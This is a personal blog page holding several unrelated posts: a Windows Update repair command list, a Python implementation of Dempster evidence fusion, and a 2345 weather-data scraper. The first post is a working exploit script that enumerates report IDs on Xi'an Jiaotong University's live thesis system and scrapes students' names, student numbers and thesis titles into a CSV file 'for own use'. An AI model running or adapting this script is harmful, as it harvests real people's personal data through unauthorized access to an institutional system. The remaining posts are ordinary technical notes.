西安交通大学毕设系统信息泄露exp

毕设系统看起来年久失修,像是上世纪的网站,必然存在漏洞。

开题报告或者任务书界面抓取通信接口即可发现问题所在。

以下exp存在本地一个hack3.csv里面,自用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

import requests
from lxml import etree
import re
import pandas as pd
import time
def get_information(num,bbb):
url = "http://pts.xjtu.edu.cn:8080/Report/ViewRenWu.aspx?ReportNo="+str(num)

querystring = {"ReportNo":"2"}

headers = {
'cache-control': "no-cache",
'postman-token': "0cfe8f51-b9eb-58b7-113a-1215444bcfad"
}

response = requests.request("GET", url, headers=headers)

html = etree.HTML(response.text)
tittle = html.xpath('/html/body/form/table/tr[3]/td/text()')
name = html.xpath('/html/body/form/table/tr[4]/td/text()')
if len(name) == 1:
print('---')
bbb = bbb-1
if(bbb<=0):
return 0,0,0,0
return 0,1,0,bbb
bbb = 10
number = re.findall(r'\d+',name[1])
user_name = name[1].split('\xa0')[0]
print(user_name,number[0],tittle[1])
time.sleep(1)
return user_name,number[0],tittle[1],bbb
#print()
if __name__ == '__main__':
bbb = 10
#pd.DataFrame(np_data, columns = ['year', 'month', 'day'])
#get_information(2222222)
ans = []

i=1925
while 1:
i=i+1
user_name,number,tittle,bbb = get_information(i,bbb)
if number == 0:
break
elif number == 1:
continue
ans.append([user_name,number,tittle.replace('\u2022','')])
if i%10 == 0:
save = pd.DataFrame(ans, columns = ['name', 'number', 'study'])
save.to_csv('hack3.csv',encoding = 'utf_8_sig')
print(ans)

解决win10更新版本20H2-错误0x80070002问题

更新遇到问题,管理员权限打开cmd。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
SC config wuauserv start= auto

SC config bits start= auto

SC config cryptsvc start= auto

SC config trustedinstaller start= auto

SC config wuauserv type=share

net stop wuauserv

net stop cryptSvc

net stop bits

net stop msiserver

ren C:\Windows\SoftwareDistribution SoftwareDistribution.old

net start wuauserv

net start cryptSvc

net start bits

net start msiserver

执行即可

Dempster证据理论python复现

证据理论

Dempster合成规则是证据理论的核心,由于在证据理论中需要的先验数据比概率推理理论中的更为直观,再加上Dempster合成公式可以综合不同专家或数据源的知识和数据,使得证据理论在专家系统,信息融合,情报分析,多属性决策等领域广泛应用。

证据理论的概念

  • 基本概率分配(BPA):识别框架上的mass函数,证据不为0的元成为焦元。
  • 似真函数:也称作似真度函数,定义为$Pl(A) = \sum_{B\bigcap A\neq \Phi}^{ } m(B)$
  • 信任函数:$Bel(A) = \sum_{B\subseteq A}^{ } m(B)$
  • 信任区间:新人函数和似真函数组成信任区间

证据理论的特点

  • 满足比bayes概率理论更弱的条件,即不必满足概率可加性。
  • 具有直接表达“不确定”和“不知道”的能力,这些信息表示在mass函数中,并在证据合成过程中保留了这些信息。
  • 证据理论不但允许人们将信度赋予假设空间的单个元素,而且还能赋予它的子集。

Dempster组合公式

$$
m_1 \oplus m_2(A)=\frac{1}{1-K} \sum_{B\bigcap C=A}^{ } m_1(B) m_2(C)
$$
其中
$$
K= \sum_{B\bigcap C=\Phi}^{ } m_1(B)m_2(C)
$$

python复现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

def bit_and(a,b):
l = len(a)
ans =''
for i in range(l):
ans += str(int(a[i]) and int(b[i]))
return ans

def DS_fusions(A):
#编码那个太难想了,简简单单字符串比较好
#A为n*3矩阵,首列为证据集合编码,后续两列为支持度。
#mass函数假设只有两个
num_terrorist = len(A[0][0])#字符串长度就是单个恐怖分子的数目
all_terrorist = len(A) #整体数目,用来遍历
ans = [0] * all_terrorist#最后的答案
k = 0#算分母
intersection = 0#算分子,用一个循环算完
for i in range(all_terrorist):
first = A[i][0]
for j in range(all_terrorist):
second = A[j][0]
#tmp = first and second
tmp = bit_and(first,second)
print(first,second,tmp)
if tmp == '0'*num_terrorist:
k += A[i][1]*A[j][2]
for ii in range(all_terrorist):
if tmp == A[ii][0]:
ans[ii] += A[i][1]*A[j][2]
print(1-k)
for i in range(all_terrorist):
ans[i] = ans[i]/(1-k)
return ans

def input_A():
A = []
while 1:

tmp = [input('input terrorist(press q finish input): ')]
if tmp[0] == 'q':
break
tmp.append(float(input('input first mass: ')))
tmp.append(float(input('input second mass: ')))
A.append(tmp)
return A

if __name__ == '__main__':
# A = input_A()
# print(A)
A = [['100',0.4, 0.2], ['010', 0.3, 0.2], ['001', 0.1, 0.05], ['110', 0.1, 0.5], ['111', 0.1, 0.05]]

print(DS_fusions(A))

输入为n*3维矩阵,矩阵每一行第一列是支持的证据的编码,支持则该位为1,不支持为0。后面两列为两组支持度。
DS_fusions函数为证据融合主函数,一个循环内同时,将两组证据的字符串按位与,如果为‘000’则给K增加,若为A中的某个数则给ans中增加,同时计算分子和分母。

实验结果

实验结果为
[0.4657534246575344, 0.363013698630137, 0.020547945205479458,0.14383561643835618, 0.006849315068493152]与ppt答案一致。

2345天气王国内天气国际天气数据爬虫

csdn上大多数的2345天气爬虫都是用的老旧接口,虽然接口还没有关闭,但是在整个访问通信过程中已经看不到像 http://tianqi.2345.com/t/wea_history/js 这种旧接口的影子了。

搜寻接口

打开chrmoe的network工具,刷新找找可以的接口。由于通信数据可能是编码后的,所以搜索汉语一般不奏效。观察天气数据发现会有2021,于是搜索2021,出现唯一接口

打开接口发现是Unicode编码的json数据。

接口参数

接口共有四个字段,分别是areaInfo[areaId],areaInfo[areaType],date[year],date[month]。

1
http://tianqi.2345.com/Pc/GetHistory?areaInfo[areaId]=349727&areaInfo[areaType]=1&date[year]=2021&date[month]=2

第一个是地区编号,不是很好找,但是在通信过程中发现interCitySelectData2.js里面全是一些国际城市的编号,国内城市的编号在citySelectData2.js里。

1
2
3
http://tianqi.2345.com/tqpcimg/tianqiimg/theme4/js/citySelectData2.js

http://tianqi.2345.com/tqpcimg/tianqiimg/theme4/js/interCitySelectData2.js

第二个areaInfo[areaType]意义不明,去掉也可以正常返回。后面两个就是年份和月份。

全部代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

import requests
import re
import json
from bs4 import BeautifulSoup
import pandas as pd

months = [1,2,3,4,5,6,7,8,9,10,11,12]
years = [2015,2016,2017,2018,2019,2020,]


index_ = ['date','MaxTemp','MinTemp', 'Weather','Wind'] # 选取的气象要素
data = pd.DataFrame(columns=index_) # 建立一个空dataframe


for y in years:
for m in months:
url = 'http://tianqi.2345.com/Pc/GetHistory?areaInfo[areaId]=349727&areaInfo[areaType]=1&date[year]='+str(y)+'&date[month]='+str(m)
response = requests.get(url=url)
if response.status_code == 200: # 防止url请求无响应
#print(json.loads(response.text)['data'])
html_str = json.loads(response.text)['data']
soup = BeautifulSoup(html_str,'lxml')
tr = soup.table.select("tr")
for i in tr[1:]:

td = i.select('td')
tmp = []
for j in td:
#print(re.sub('<.*?>',"",str(j)))
tmp.append(re.sub('<.*?>',"",str(j)))
#print(tmp)
data_spider = pd.DataFrame(tmp).T
data_spider.columns = index_ # 修改列名
#data_spider.index = date # 修改索引
data = pd.concat((data,data_spider), axis=0) # 数据拼接
#print(data)
data.to_excel('weatherdata_ny.xlsx')


结果

  • Copyrights © 2015-2024 galaxy
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信